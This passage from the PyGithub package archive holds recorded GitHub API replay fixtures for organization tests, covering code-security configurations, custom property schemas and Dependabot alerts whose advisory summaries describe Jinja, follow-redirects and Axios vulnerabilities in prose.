Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"44b2f501fef989c6e7be378455ac0f5cb93a0042343bcc8fe694187f9c3d557c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '2009:579C3:920C51:120CE70:67592F96'), ('Server', 'github.com')] {"id":17,"target_type":"global","name":"GitHub recommended","description":"Suggested settings for Dependabot, secret scanning, and code scanning.","advanced_security":"enabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"not_set","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"enabled","dependabot_security_updates":"not_set","code_scanning_default_setup":"enabled","code_scanning_default_setup_options":null,"secret_scanning":"enabled","secret_scanning_push_protection":"enabled","secret_scanning_delegated_bypass":"not_set","secret_scanning_non_provider_patterns":"enabled","enforcement":"unenforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/17","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/view/17","created_at":"2023-12-04T15:58:07Z","updated_at":"2024-10-18T05:46:31Z","private_vulnerability_reporting":"enabled","secret_scanning_validity_checks":"enabled"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetCodeSecurityConfigs.txt0000644000175100001660000000536314756101563026644 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/code-security/configurations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Dec 2024 06:21:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d6d2b223c783bd2c8190402bf943457a16c93ffd9564c3c8e2e05aa01517104f"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '2009:345DF0:45FE79:8AF121:67592F59'), ('Server', 'github.com')] [{"id":17,"target_type":"global","name":"GitHub recommended","description":"Suggested settings for Dependabot, secret scanning, and code scanning.","advanced_security":"enabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"not_set","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"enabled","dependabot_security_updates":"not_set","code_scanning_default_setup":"enabled","code_scanning_default_setup_options":null,"secret_scanning":"enabled","secret_scanning_push_protection":"enabled","secret_scanning_delegated_bypass":"not_set","secret_scanning_non_provider_patterns":"enabled","enforcement":"unenforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/17","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/view/17","created_at":"2023-12-04T15:58:07Z","updated_at":"2024-10-18T05:46:31Z","private_vulnerability_reporting":"enabled","secret_scanning_validity_checks":"enabled"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetCustomProperties.txt0000644000175100001660000000404614756101563026255 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/properties/schema {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:34:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b2b84abdf13e6be86f79dac5de7b63b2ca0ff254cf371ca5f470ef363039b6b2"'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4937'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '63'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CNX7:4XSRH1:841616:AKM292:60LGFYTX')] [{"property_name":"property_1","value_type":"string","required":true,"default_value":"foo","description":"description","values_editable_by":"org_actors"},{"property_name":"property_2","value_type":"single_select","required":true,"default_value":"bar","description":"Lorem ipsum","allowed_values":["foo","bar"],"values_editable_by":"org_and_repo_actors"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetCustomProperty.txt0000644000175100001660000000354714756101563025752 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/properties/schema/property_1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:35:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ae384eec183637d8dd394cae7448eb8e6b8ce7437ce222bc156816cafea54111"'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '68'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CNX7:4XSRH1:841616:AKM292:60LGFYTX')] {"property_name":"property_1","value_type":"string","required":true,"default_value":"foo","description":"description","values_editable_by":"org_actors"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testGetDependabotAlerts.txt0000644000175100001660000020230714756101563026146 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/dependabot/alerts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 02:20:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"74ba6d05fb05fb4f70f9ad25bca9c224fe842693d02a6337fee2a3edf75e3ea5"'), ('Last-Modified', 'Sun, 21 Jan 2024 01:41:18 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo, security_events'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1705804700'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '91C4:8C58:9B0B6C1:14060D4E:65AC7F5D')] [{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/BeaverSoftware/PyGithub/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/PyGithub/security/dependabot/1","created_at":"2024-01-21T01:41:18Z","updated_at":"2024-01-21T01:41:18Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":746080753,"node_id":"R_kgDOLHhJ8Q","name":"PyGithub","full_name":"BeaverSoftware/PyGithub","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","forks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/deployments"}},{"number":7,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"follow-redirects"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-jchw-25xp-jwwc","cve_id":"CVE-2023-26159","summary":"Follow Redirects improperly handles URLs in the url.parse() function","description":"Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.","severity":"medium","identifiers":[{"value":"GHSA-jchw-25xp-jwwc","type":"GHSA"},{"value":"CVE-2023-26159","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26159"},{"url":"https://github.com/follow-redirects/follow-redirects/issues/235"},{"url":"https://github.com/follow-redirects/follow-redirects/pull/236"},{"url":"https://security.snyk.io/vuln/SNYK-JS-FOLLOWREDIRECTS-6141137"},{"url":"https://github.com/follow-redirects/follow-redirects/commit/7a6567e16dfa9ad18a70bfe91784c28653fbf19d"},{"url":"https://github.com/advisories/GHSA-jchw-25xp-jwwc"}],"published_at":"2024-01-02T06:30:30Z","updated_at":"2024-01-09T19:03:25Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"follow-redirects"},"severity":"medium","vulnerable_version_range":"< 1.15.4","first_patched_version":{"identifier":"1.15.4"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1},"cwes":[{"cwe_id":"CWE-20","name":"Improper Input Validation"},{"cwe_id":"CWE-601","name":"URL Redirection to Untrusted Site ('Open Redirect')"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"follow-redirects"},"severity":"medium","vulnerable_version_range":"< 1.15.4","first_patched_version":{"identifier":"1.15.4"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/7","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/7","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":6,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"axios"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-wf5p-g6vw-rhxx","cve_id":"CVE-2023-45857","summary":"Axios Cross-Site Request Forgery Vulnerability","description":"An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.","severity":"medium","identifiers":[{"value":"GHSA-wf5p-g6vw-rhxx","type":"GHSA"},{"value":"CVE-2023-45857","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45857"},{"url":"https://github.com/axios/axios/issues/6006"},{"url":"https://github.com/axios/axios/issues/6022"},{"url":"https://github.com/axios/axios/pull/6028"},{"url":"https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0"},{"url":"https://github.com/axios/axios/releases/tag/v1.6.0"},{"url":"https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459"},{"url":"https://github.com/advisories/GHSA-wf5p-g6vw-rhxx"}],"published_at":"2023-11-08T21:30:37Z","updated_at":"2023-11-16T19:59:09Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"axios"},"severity":"medium","vulnerable_version_range":">= 0.8.1, < 1.6.0","first_patched_version":{"identifier":"1.6.0"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5},"cwes":[{"cwe_id":"CWE-352","name":"Cross-Site Request Forgery (CSRF)"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"axios"},"severity":"medium","vulnerable_version_range":">= 0.8.1, < 1.6.0","first_patched_version":{"identifier":"1.6.0"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/6","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/6","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensourc